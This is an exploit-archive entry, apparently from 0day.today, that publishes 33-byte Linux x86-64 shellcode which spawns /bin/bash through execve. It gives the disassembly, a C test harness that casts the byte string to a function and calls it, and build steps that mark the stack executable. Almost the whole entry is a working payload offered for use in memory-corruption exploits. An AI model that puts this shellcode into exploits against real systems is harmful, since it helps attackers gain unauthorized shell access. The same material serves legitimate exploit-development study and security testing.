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Linux/x86-64 - execve(/bin/bash) Shellcode (33 bytes)
[/*
---------------------------------------------------------------------------------------------------
Linux/x86_x64 - execve(/bin/bash) - 33 bytes
Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]
Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |
---------------------------------------------------------------------------------------------------
Disassembly of section .text:
0000000000400080 <.text>:
400080: eb 0b jmp 0x40008d
400082: 5f pop rdi
400083: 48 31 d2 xor rdx,rdx
400086: 52 push rdx
400087: 5e pop rsi
400088: 6a 3b push 0x3b
40008a: 58 pop rax
40008b: 0f 05 syscall
40008d: e8 f0 ff ff ff call 0x400082
400092: 2f (bad)
400093: 2f (bad)
400094: 2f (bad)
400095: 2f (bad)
400096: 62 (bad)
400097: 69 6e 2f 2f 2f 2f 2f imul ebp,DWORD PTR [rsi+0x2f],0x2f2f2f2f
40009e: 62 .byte 0x62
40009f: 61 (bad)
4000a0: 73 68 jae 0x40010a
---------------------------------------------------------------------------------------------------
How To Run
$ gcc -o bash_shell bash_shell.c
$ execstack -s bash_shell
$ ./bash_shell
---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x2f\x2f\x2f\x62\x69\x6e\x2f\x2f\x2f\x2f\x62\x61\x73\x68";
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
# 0day.today [2024-11-15] #